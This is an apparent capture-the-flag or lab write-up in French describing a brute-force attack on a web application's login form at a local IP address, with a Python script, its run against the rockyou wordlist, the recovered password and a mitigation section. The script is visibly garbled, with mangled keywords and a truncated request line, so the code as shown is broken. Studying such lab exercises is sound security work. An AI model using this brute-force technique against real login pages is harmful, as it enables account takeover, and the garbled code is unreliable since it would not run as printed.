## Member login bruteforce

## **EXPLICATION**

Comme relevé en énumération (voir ENUMERATION – partie 1), l'application dispose d'une page de login à l'intention des utilisateurs du site. Le formulaire web est tout simple, avec un champ **username** et un champ **password**.

La requête envoyée lorsqu'on tente de se login passe le nom d'utilisateur et le mot de passe en paramètre d'URL :

```
http://192.168.1.37/?page=signin&username=test&password=test&Login=Login
```

Si le formulaire ainsi créé n'implémente pas une limitation du nombre de requêtes acceptées, et que l'un des utilisateurs a un mot de passe faible, alors il est possible de **bruteforce** le formulaire.

(On a en réalité résolu ce flag d'abord par le biais de notre injection SQL décrite dans Member\_Sql\_Injection, mais au vu du nom de la base de données dans laquelle on a récupéré les credentials par ce biais, l'intention était plutôt ici d'illustrer une attaque par force brute).

J'ai donc créé un petit script de bruteforce (multithread) afin de bruteforce le login, avec la wordlist de notre choix. On assume ici que si l'on tombe sur un bon mot de passe, la page sur laquelle on arrivera contiendra le mot "flag" (on aurait également pu jouer sur la taille de la réponse, qui est différente sur la page avec le flag. Cela aurait peut-être été mieux niveau performance).

```
mport requests
   m multiprocessing import Pool
 mport sys
Lf (len(sys.argv) != 2) :
   print ('Usage : python3 md5decrypt.py <WORDLIST>')
   sys.exit(1)
filename = sys.arqv[1]
lef bruteforce login(password, URL= "http://192.168.1.37/index.php?page=signin")
   password = password.rstrip()
   response = requests.get(URL +
   if (response.text.find('flag') != -1) :
       print(f"[+] Found working password : {password}")
vith open(filename, 'r', errors='replace') as wordlist :
   passwords = wordlist.readlines()
   with Pool(4) as pool :
       results = pool.map(bruteforce login, passwords)
```

On essaie avec un nom d'utilisateur usuel, ici admin (on aurait également pu essayer root, ou les

noms d'utilisateur trouvés sur la page de recherche de membres).

```
Ressources git:(master) x python3 bruteforce.py /usr/share/wordlists/rockyou.txt
Fluority Found working password : shadow
```

On finit par trouver le mot de passe **shadow**. On s'en sert pour se connecter via la page de login de l'application, et on récupère un **flag**.

## *RESSOURCES*

Le script **bruteforce.py** présenté ci-dessus qui permet d'attaquer en force brute le formulaire de login avec la wordlist de notre choix.

## **MITIGATION**

- > Une politique plus ferme en termes de mot de passe (caractères, nombres, majuscules, minuscules, symboles ...).
- > Un mécanisme de régulation des demandes de login.
- > Plus généralement, les suggestions de OWASP sont très complètes : https://owasp.org/www-community/controls/Blocking Brute Force Attacks